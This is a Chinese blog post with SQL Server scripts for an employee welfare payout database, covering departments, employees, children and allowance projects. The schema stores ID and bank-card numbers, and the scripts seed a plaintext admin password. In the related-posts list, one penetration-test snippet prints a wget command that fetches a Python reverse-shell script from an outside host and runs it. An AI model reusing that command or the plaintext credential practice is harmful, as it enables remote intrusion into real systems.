ylbtech-dbs:ylbtech-7,welfareSystem(福利发放系统)

-- =============================================
-- DatabaseName: WelfareSystem
-- remark: 福利发放系统
-- author: YuanBo
-- date: 09:51 2013-03-26
-- =============================================

1.A,数据库关系图(Database Diagram) 返回顶部
1.B,数据库设计脚本(Database Design Script)返回顶部

1.B.1,welfareSystem.sql

use master
go
-- =============================================
-- DatabaseName: WelfareSystem
-- remark: 福利发放系统
-- author: YuanBo
-- date: 09:51 2013-03-26
-- =============================================
IF EXISTS (SELECT *
FROM master..sysdatabases
WHERE name = N'WelfareSystem')
DROP DATABASE WelfareSystem
GO CREATE DATABASE WelfareSystem
GO
use WelfareSystem go
-- =============================================
-- ylb:1,部门表
-- =============================================
create table Department
(
departmentId int primary key identity(100,1), --编号【PK】
departmentName varchar(100) --部门名称
) go
-- =============================================
-- ylb:2,员工表
-- =============================================
create table Employee
(
employeeId int primary key identity(1001,1), --编号【PK】
[id] char(18), --身份证号
username varchar(40), --姓名
sex char(6) check(sex='男'or sex='女'),--性别
cardNo char(22), --银行卡号
hireDate datetime, --受雇日期
departmentId int, --部门编号
state char(8) --员工性质(正式内,正式入,中心版)
)
--select employeeId,[id],username,sex,cardNo,hireDate,departmentId,state,ToRegularDate from Employee go
-- =============================================
-- ylb:2.2,员工子女表
-- =============================================
create table Children
(
childrenId int primary key identity(1001,1), --编号【PK】
[id] char(18), --身份证号
username varchar(20), --姓名
sex char(6) check(sex='男'or sex='女'),--性别
birthdate datetime, --出生日期
multipleBirths varchar(20), --多胞胎 单保胎,多保胎
howManyChild varchar(20), --第一胎,第二胎,第三胎...
employeeId int --员工编号
)
go
-- =============================================
-- ylb:3.1,项目表
-- =============================================
create table Project
(
projectId int primary key identity(100,1), --编号【PK】
projectName varchar(100), --项目名称
salary money, --福利金额
type char(20) --发放形式(一次性发放,多次性发放)
)
--go
---- =============================================
---- ylb:3.2,项目年度发放表
---- =============================================
--create table ProjectAnnualIssue
--(
--projectAnnualIssueId int primary key identity(1,1), --编号【PK】
--pubdate datetime, --发放日期
--projectId int --项目编号【FK】
--)
go
-- =============================================
-- ylb:3.2,项目年度发放表
-- =============================================
create table ProjectAnnualIssue
(
projectAnnualIssueId int primary key identity(1,1), --编号【PK】
pubdate datetime, --发放日期
projectId int, --项目编号【FK】
projectName varchar(100), --项目名称
total money, --发放金额
baseId int default(-1), -- 上级编号 -1:代表无上级
remark varchar(100), --摘要,即描述
number int --发放人数
) go
-- =============================================
-- ylb:4,金额发放表
-- =============================================
create table AmountIssuing
(
amountIssuingId int primary key identity(1,1), --编号【PK】
employeeId int, --员工编号【FK】
departmentId int, --部门编号【FK】
departmentName varchar(20), --部门名称
projectId int, --项目编号【FK】
salary money, --发放金额【单个项目|一系列项目总额】
pubdate datetime --发放日期
) print'福利发放系统创建成功!' select amountIssuingId,employeeId,departmentId,departmentName,projectId,salary,pubdate from AmountIssuing

1.B.2,alter.sql

use WelfareSystem
go
--1,把项目表类型列,修饰类型换为varchar
alter table Project
alter column [type] varchar(20) alter table Employee
alter column [id] varchar(30) alter table Employee
alter column cardNo varchar(30) alter table Employee
alter column state varchar(8)
alter table Employee
alter column isRent varchar(20) alter table Employee
alter column sex varchar(6) --注意检查约束 alter table Employee
alter column toRegularDate varchar(20) --把允许为空的日期类型换成字符串修饰符 alter table Employee
alter column hireDate varchar(20) --把允许为空的日期类型换成字符串修饰符 alter table Children
alter column sex varchar(6) alter table Children
alter column isOnlyChild varchar(10) --begin-去除原先Char修饰符产生的多余空格
select employeeId,SUBSTRING([id],1,len([id])) from Employee where employeeId=1404 update Project set [type]= SUBSTRING([type],1,len([type]))
go
update Employee set [id]= SUBSTRING([id],1,len([id])),cardNo=SUBSTRING([cardNo],1,len([cardNo]))
,sex=SUBSTRING([sex],1,len([sex])),state=SUBSTRING([state],1,len([state]))
,isRent=SUBSTRING([isRent],1,len([isRent])),toRegularDate=SUBSTRING([toRegularDate],1,len([toRegularDate])) go
update Children set [sex]= SUBSTRING([sex],1,len([sex])),isOnlyChild=SUBSTRING([isOnlyChild],1,len([isOnlyChild])) --end-去除原先Char修饰符产生的多余空格 --2,
update WelfareSystem.dbo.Children set howManyChild='第一胎' where isOnlychild='' or isOnlychild is null
update WelfareSystem.dbo.Children set howManyChild='非第一胎' where isOnlychild='' --3,移除“身份帐号”
alter table Children
drop column [id] update employee set state='正式内' where state='内'
update employee set state='正式外' where state='外' -- =============================================
-- ylb: 5,用户表
-- =============================================
create table Users
(
username varchar(100) unique not null, --姓名【UN】
userpass varchar(100) not null --密码
) insert into Users(username,userpass) values('admin','m12345') alter table AmountIssuing
add [year] int alter table AmountIssuing
add [month] int alter table AmountIssuing
add hireDate varchar(30) alter table AmountIssuing
add toRegularDate varchar(30) alter table AmountIssuing
add [state] varchar(30) --NewAdd alter table projectAnnualIssue
add projectAnnualIssueGuid uniqueidentifier --项目发放编号【FK】 alter table AmountIssuing
add projectAnnualIssueGuid uniqueidentifier --项目发放编号【FK】 alter table projectAnnualIssue
add flagNgn int default(0) --财务工会是否生成凭证 0:未生成;1:已生成 --年度
create table Annual
(
annualId int primary key identity(1,1),
[year] int,
[month] int
) alter table Project
add kmdm varchar(30) --科目代码 alter table Department
add [type] varchar(30) --部门区域京内、京外
update Department set [type]='京内' alter table Employee
add [type] varchar(30) --职工状态 在职、离职、退休 update Employee set [type]='在职'

1.B.3,年底独子费补发.sql

use WelfareSystem
go alter table Children
add duZi varchar(20) --独子 有;无 update Children set duZi='无'
go
update Children set duZi='有' where howManyChild='第一胎' alter table Children
add remark varchar(500) --备注 alter table Children
add flagDuZi varchar(20) --独子补发表标识,1:年底要补发;0:已经补发过 alter table Children
add updateDate datetime --补充独子证书时间 alter table Children
add remark varchar(500) --备注 select * from Children /***
select duZi,flagDuZi,updateDate,remark from Children select * from Employee where employeeId in(select employeeId from Children where flagDuZi='1') select employeeId from Children where flagDuZi='1' select e.hireDate,c.birthdate, c.updateDate,* from Employee e
inner join Department d on e.departmentId=d.departmentId
inner join Children c on e.employeeId=c.employeeId
where e.[type]='在职' and c.flagDuZi='1'
order by e.departmentId asc, e.employeeId asc update Children set flagDuZi='0'
***/

1.B.4,

1.C,功能实现代码(Function Implementation Code)返回顶部
作者:ylbtech
出处:http://ylbtech.cnblogs.com/
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

ylbtech-dbs:ylbtech-7,welfareSystem(福利发放系统)的更多相关文章

  1. ylbtech-WelfareSystem(福利发放管理系统)-数据库设计

    ylbtech-DatabaseDesgin:ylbtech-WelfareSystem(福利发放管理系统)-数据库设计 1.A,数据库关系图(Database Diagram) 1.B,数据库设计脚 ...

  2. Sql Server之旅——第一站 那些给我们带来福利的系统视图

    本来想这个系列写点什么好呢,后来想想大家作为程序员,用的最多的莫过于数据库了,但是事实上很多像我这样工作在一线的码农,对sql 都一知半解,别谈优化和对数据库底层的认识了,我也是这样... 一:那些系 ...

  3. util-C# 复杂条件查询(sql 复杂条件查询)查询解决方案

    ylbtech-funcation-util:  C# 复杂条件查询(sql 复杂条件查询)查询解决方案 C# 复杂条件查询(sql 复杂条件查询)查询解决方案 1.A,Ylbtech.Model返回 ...

  4. 代理IP爬取,计算,发放自动化系统

    IoC Python端 MySQL端 PHP端 怎么使用 这学期有一门课叫<物联网与云计算>,于是我就做了一个大作业,实现的是对代理IP的爬取,计算推荐,发放给用户等任务的的自动化系统.由 ...

  5. Linux系统——MySQL基础(一)

    # 数据库 ## 数据库简单的分类:(1)关系型数据库:MySQL和Oracle.Postgresql(2)非关系型数据库:Memcached和Redis(3)消息队列中间件(4)搜索引擎数据库:El ...

  6. zz《百度地图商业选址》

    作者 | 阚长城 编辑 | 张慧芳 题图 | 站酷海阔 人类几千年的文明催生了城市的发展,计算机与复杂科学带给我们新的资源——大数据.罗马非一日建成,人力和时间成本极大,但试想一下,如果有了大数据,罗 ...

  7. 【springcloud】hystrix面试题

    1 hystrix是什么? Netflix(国外最大的类似于,爱奇艺,优酷)视频网站,五六年前,也是,感觉自己的系统,整个网站,经常出故障,可用性不太高 有时候一些vip会员不能支付,有时候看视频就卡 ...

  8. 密码算法详解——DES

    0 DES简介 在20世纪60年代后期,IBM公司成立了一个由Horst Feistel负责的计算机密码学研究项目.1971年设计出密码算法LUCIFER后,该项目宣告结束.LUCIFER被卖给了伦敦 ...

  9. 机器学习基石第一讲:the learning problem

    博客已经迁移至Marcovaldo's blog (http://marcovaldong.github.io/) Andrew Ng的Machine Learning比較简单,已经看完.林田轩的机器 ...

随机推荐

  1. Exception in thread "main" java.util.regex.PatternSyntaxException: Unclosed character class near index 0 [ ^

    Exception in thread "main" java.util.regex.PatternSyntaxException: Unclosed character clas ...

  2. 机器学习&人工智能书籍

    Introduction to Machine Learning https://www.amazon.cn/Introduction-to-Machine-Learning-Alpaydin-Eth ...

  3. Nginx-SSI

    <a href="<!--#include file="/$SERVER_NAME.shtml"-->">点击</a> a

  4. k临近法的实现:kd树

    # coding:utf-8 import numpy as np import matplotlib.pyplot as plt T = [[2, 3], [5, 4], [9, 6], [4, 7 ...

  5. 一次zabbix的渗透

    wget http://xxxxxxx:8888/back.py -O  /tmp/1.py  写入python反弹马 反弹到vps python /tmp/back.py IP port       ...

  6. 阿里云安装nginx 和 php-fpm

    yum install yum-priorities -y rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-releas ...

  7. 查看jquery绑定的事件函数

    作为技术狂热分子的职业本能,看到一个技术产品的功能,总会忍不住想知道它是怎么被实现的.比如我每每看到别人网站一个很炫的界面或者很酷的功能,就忍不住打开了浏览器的控制台... 好,不扯远,说说当你想看到 ...

  8. OpenJudge就算概论-统计字符数

    /*===================================== 统计字符数 总时间限制: 1000ms 内存限制: 65536kB 描述 判断一个由a-z这26个字符组成的字符串中哪个 ...

  9. Asp.net获取用户真实Ip地址

    /// <summary> /// 获取远程访问用户的Ip地址 /// </summary> /// <returns>返回Ip地址</returns> ...

  10. php curl详细说明

    CURLOPT_RETURNTRANSFER 选项: curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); 如果成功只将结果返回,不自动输出任何内容. 如果失败返回F ...